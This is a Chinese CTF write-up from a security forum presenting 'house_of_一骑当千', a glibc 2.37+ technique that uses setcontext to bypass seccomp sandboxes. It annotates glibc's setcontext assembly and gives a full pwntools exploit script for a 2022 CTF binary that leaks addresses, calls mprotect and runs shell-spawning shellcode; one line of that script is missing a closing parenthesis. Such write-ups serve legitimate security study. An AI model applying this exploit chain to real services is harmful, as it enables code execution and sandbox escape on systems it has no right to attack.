[原创]无路远征——GLIBC2.37后时代的IO攻击之道(五)house_of_一骑当千
2023-2-10 12:22:54 Author: bbs.pediy.com(查看原文) 阅读量:20 收藏

沙盒是现在pwn题中绕不过的砍,前面提出的house_of_魑魅魍魉 和 house_of_琴瑟琵琶都没有提供绕过沙盒的方法,尤其是house_of_琴瑟琵琶只能控制一个参数,目前看来基本上无法绕过沙盒。而house_of_一骑当千是一种只用setcontext就定能绕过沙盒攻击手法。

setcontext+53是打pwn中常用的技术,主要是依靠程序中如下代码段来实现寄存器赋值。在2.31后变成了setcontext+61,主要控制的寄存器也从rdi变成了rdxsetcontext+53是执行orw的重要攻击手段,由于属于常见方式就不再赘述。

setcontext+53作为常用的攻击手段,在版本迭代中主要参数已经从rdi修复成rdxrdx是一个函数的第3个参数。但是,在实际攻击过程中,只能控制一个参数,所以rdx不可控。目前,很多利用的方法,例如house_of_KIWI house_of_cat等中rdx都是编译级别的利用方式,可以很容易被修复,或者编译器发生变化也可能不再能使用。 house_of_KIWI出现很大一部分是解决了rdx的问题。house_of_emma也必须借助 house_of_KIWI才能绕过seccomp

因为setcontext是汇编所写(下面会详写),显然rdi修复成rdx也是GNU有意而为,今后也可能被修改成rcx甚至r15靠编译级别的攻击手段显然不能长久。如何能够完美绕过沙盒呢?

以我们关注的setcontext为例 ,它是由汇编所写,在 /sysdeps/unix/sysv/linux/x86_64/setcontext.S中。剥离复杂的宏之后发现,除了信号量系统调(__NR_rt_sigprocmask)用外,无非就是一些赋值操作。(代码虽然很长,但为了展现全貌我就不做删减了,大家关注中文注释的地方)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

ENTRY(__setcontext)

    /* Save argument since syscall will destroy it.  */

    pushq    %rdi

    cfi_adjust_cfa_offset(8)

    /* Set the signal mask with

       rt_sigprocmask (SIG_SETMASK, mask, NULL, _NSIG/8).  */

    leaq    oSIGMASK(%rdi), %rsi

    xorl    %edx, %edx

    movl    $SIG_SETMASK, %edi

    movl    $_NSIG8,%r10d

    movl    $__NR_rt_sigprocmask, %eax

    syscall

    /* Pop the pointer into RDX. The choice is arbitrary, but

       leaving RDI and RSI available for use later can avoid

       shuffling values.  */

    popq    %rdx  

    cfi_adjust_cfa_offset(-8)

    cmpq    $-4095, %rax        /* Check %rax for error.  */

    jae    SYSCALL_ERROR_LABEL    /* Jump to error handler if error.  */

    /* Restore the floating-point context.  Not the registers, only the

       rest.  */

    movq    oFPREGS(%rdx), %rcx

    fldenv    (%rcx)

    ldmxcsr oMXCSR(%rdx)

    /* Load the new stack pointer, the preserved registers and

       registers used for passing args.  */

    cfi_def_cfa(%rdx, 0)

    cfi_offset(%rbx,oRBX)

    cfi_offset(%rbp,oRBP)

    cfi_offset(%r12,oR12)

    cfi_offset(%r13,oR13)

    cfi_offset(%r14,oR14)

    cfi_offset(%r15,oR15)

    cfi_offset(%rsp,oRSP)

    cfi_offset(%rip,oRIP)

    /* 这里往下就是 setcontext+61 的地方*/

    movq    oRSP(%rdx), %rsp

    movq    oRBX(%rdx), %rbx

    movq    oRBP(%rdx), %rbp

    movq    oR12(%rdx), %r12

    movq    oR13(%rdx), %r13

    movq    oR14(%rdx), %r14

    movq    oR15(%rdx), %r15

    /* Check if shadow stack is enabled.  */

    testl    $X86_FEATURE_1_SHSTK, %fs:FEATURE_1_OFFSET

    jz    L(no_shstk)

    /* If the base of the target shadow stack is the same as the

       base of the current shadow stack, we unwind the shadow

       stack.  Otherwise it is a stack switch and we look for a

       restore token.  */

    movq    oSSP(%rdx), %rsi

    movq    %rsi, %rdi

    /* Get the base of the target shadow stack.  */

    movq    (oSSP + 8)(%rdx), %rcx

    cmpq    %fs:SSP_BASE_OFFSET, %rcx

    je    L(unwind_shadow_stack)

L(find_restore_token_loop):

    /* Look for a restore token.  */

    movq    -8(%rsi), %rax

    andq    $-8, %rax

    cmpq    %rsi, %rax

    je    L(restore_shadow_stack)

    /* Try the next slot.  */

    subq    $8, %rsi

    jmp    L(find_restore_token_loop)

L(restore_shadow_stack):

    /* Pop return address from the shadow stack since setcontext

       will not return*/

    movq    $1, %rax

    incsspq    %rax

    /* Use the restore stoken to restore the target shadow stack.  */

    rstorssp -8(%rsi)

    /* Save the restore token on the old shadow stack.  NB: This

       restore token may be checked by setcontext or swapcontext

       later.  */

    saveprevssp

    /* Record the new shadow stack base that was switched to.  */

    movq    (oSSP + 8)(%rdx), %rax

    movq    %rax, %fs:SSP_BASE_OFFSET

L(unwind_shadow_stack):

    rdsspq    %rcx

    subq    %rdi, %rcx

    je    L(skip_unwind_shadow_stack)

    negq    %rcx

    shrq    $3, %rcx

    movl    $255, %esi

L(loop):

    cmpq    %rsi, %rcx

    cmovb    %rcx, %rsi

    incsspq    %rsi

    subq    %rsi, %rcx

    ja    L(loop)

L(skip_unwind_shadow_stack):

    movq    oRSI(%rdx), %rsi

    movq    oRDI(%rdx), %rdi

    movq    oRCX(%rdx), %rcx

    movq    oR8(%rdx), %r8

    movq    oR9(%rdx), %r9

    /* Get the return address set with getcontext.  */

    movq    oRIP(%rdx), %r10

    /* Setup finally %rdx.  */

    movq    oRDX(%rdx), %rdx

    /* Check if return address is valid for the case when setcontext

       is invoked from __start_context with linked context.  */

    rdsspq    %rax

    cmpq    (%rax), %r10

    /* Clear RAX to indicate success.  NB: Don't use xorl to keep

       EFLAGS for jne.  */

    movl    $0, %eax

    jne    L(jmp)

    /* Return to the new context if return address valid.  */

    pushq    %r10

    ret

L(jmp):

    /* Jump to the new context directly.  */

    jmp    *%r10

L(no_shstk):

    /* The following ret should return to the address set with

    getcontext.  Therefore push the address on the stack.  */

    movq    oRIP(%rdx), %rcx

    pushq    %rcx

    movq    oRSI(%rdx), %rsi

    movq    oRDI(%rdx), %rdi

    movq    oRCX(%rdx), %rcx

    movq    oR8(%rdx), %r8

    movq    oR9(%rdx), %r9

    /* Setup finally %rdx.  */

    movq    oRDX(%rdx), %rdx

    /* End FDE here, we fall into another context.  */

    cfi_endproc

    cfi_startproc

    /* Clear rax to indicate success.  */

    xorl    %eax, %eax

    ret

PSEUDO_END(__setcontext)

weak_alias (__setcontext, setcontext)

setcontext函数中,除了对mcontext_t uc_mcontext; sigset_t uc_sigmask; struct _libc_fpstate __fpregs_mem __ssp这4个进行操作外,并没有对其他部分操作,也就是我们可以不关心其他的值。

喜闻乐见的抄板子时间又到了。根据上面setcontext分析可以看出,我们只需要绕过关键的几个地方就能够实现和setcontext+53一样的攻击效果。假设,没有禁用mprotect,只有一次的largebin_attack的情况来攻击IO,模板如下。

我们以2022强网拟态决赛_vpn为例(题目内部附件叫:pminote_mc)。题目虽然使用了llvm进行了各种混淆手段,但仍不能摆脱屌丝菜单题的宿命,经过手动测试可以发现简单回复一下结构体和有关操作。结构体如下。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

from pwn import *

import pwn_script

from sys import argv

import argparse

s = lambda data: io.send(data)

sa = lambda delim, data: io.sendafter(delim, data)

sl = lambda data: io.sendline(data)

sla = lambda delim, data: io.sendlineafter(delim, data)

r = lambda num=4096: io.recv(num)

ru = lambda delims, drop=True: io.recvuntil(delims, drop)

itr = lambda: io.interactive()

uu32 = lambda data: u32(data.ljust(4, '\0'))

uu64 = lambda data: u64(data.ljust(8, '\0'))

leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))

menu_last_str = 'Your choice :'

add_heap_str = '1'

delete_heap_str = '2'

show_heap_str = '3'

def add_heap(size,content):

    ru(menu_last_str)

    sl(add_heap_str)

    ru('Note size :')

    s(str(size))

    ru('Content :')

    s(content)

def show_heap(index):

    ru(menu_last_str)

    sl(show_heap_str)

    ru('Index :')

    sl(str(index))

def delete_heap(index):

    ru(menu_last_str)

    sl(delete_heap_str)

    ru('Index :')

    sl(str(index))

def exit_pro():

    ru(menu_last_str)

    sl('5')

if __name__ == '__main__':

    pwn_arch = 'amd64'

    pwn_script.init_pwn_linux(pwn_arch)

    pwnfile = './pmlnote_mc'

    ip_port = '111.200.241.244:61080'

    __ip = ip_port.split(":")[0]

    __port = ip_port.split(":")[1]

    io = process(pwnfile)

    elf = ELF(pwnfile)

    rop = ROP(pwnfile)

    context.binary = pwnfile

    libcfile='/lib/x86_64-linux-gnu/libc.so.6'

    libc = ELF(libcfile)

    system_addr = 0x4006D0

    print_note_content = 0x400870

    print_note = 0x407700

    puts_addr =0x4006C0

    heap_list = 0x6116c0

    system_got = 0x611030

    stdout = 0x611680

    printf_sym =elf.sym["printf"]

    init = 0x409AC0

    add_heap(0x500,b"a"*0x10+b"/bin/sh\x00")

    add_heap(0x500,"b"*0x10)

    delete_heap(0)

    delete_heap(1)

    add_heap(0x10,p64(print_note_content)+p64(stdout))

    show_heap(0)

    stdout_addr = u64(ru("\n").ljust(8,b"\x00"))

    libc_base_addr = stdout_addr - 0x21a780

    print("libc_base_addr is :",hex(libc_base_addr))

    setcontext_addr = libc_base_addr + libc.sym["setcontext"]

    environ_addr = libc_base_addr +libc.sym["environ"]

    gets_addr = libc_base_addr +libc.sym["gets"]

    free_hook_addr = libc_base_addr +libc.sym["__free_hook"]

    unsortbin_addr = libc_base_addr + 0x219ce0

    mprotect_addr = libc_base_addr +libc.sym["mprotect"]

    delete_heap(2)

    add_heap(0x10,p64(print_note_content)+p64(heap_list))

    show_heap(0)

    heap_addr = u64(ru("\n").ljust(8,b"\x00")) - 0x2a0

    print("heap_addr is :",hex(heap_addr))

    delete_heap(3)  

    add_heap(0x10,p64(gets_addr)+p64(heap_addr-0x200))

    show_heap(0)

    ucontext =b''

    ucontext += p64(setcontext_addr)+p64(0)*4

    mprotect_len = 0x20000

    __rdi = heap_addr

    __rsi = mprotect_len     

    __rbp = heap_addr + mprotect_len

    __rbx = 0

    __rdx = 7

    __rcx = 0

    __rax = 0

    fake_io_addr = heap_addr + 0x2a0

    __rsp = fake_io_addr + 0xe8

    __rip = mprotect_addr

    ucontext += p64(0)*8

    ucontext += p64(__rdi)

    ucontext += p64(__rsi)

    ucontext += p64(__rbp)

    ucontext += p64(__rbx)

    ucontext += p64(__rdx)

    ucontext += p64(__rcx)

    ucontext += p64(__rax)

    ucontext += p64(__rsp)

    ucontext += p64(__rip)

    ucontext = ucontext.ljust(0xe0,b'\x00')

    ucontext += p64(heap_addr+0x6000)  

    print("ucontext len is:",hex(len(ucontext))) 

    payload = ucontext  

    print("IO_FILE len is",hex(len(payload))) 

    shellcode = asm(shellcraft.sh())

    payload += p64(fake_io_addr + len(payload) + 0x8

    payload += bytes(shellcode)

    pause()

    sl(payload)

    show_heap(0)

    itr()

这一种方法只是为上面的例子一个延伸,当能够多次执行函数,而第一个参数又固定,可以使用getcontext + gets + gets + setcontext的通用解决方案,结合EOP使用。

就像我开头提到的,在目前情况下house_of_魑魅魍魉 和 house_of_琴瑟琵琶是很难有绕过沙盒的方法,但如果和house_of_一骑当千结合使用,沙盒绕过将是易如反掌。


文章来源: https://bbs.pediy.com/thread-276056.htm
如有侵权请联系:admin#unsafe.sh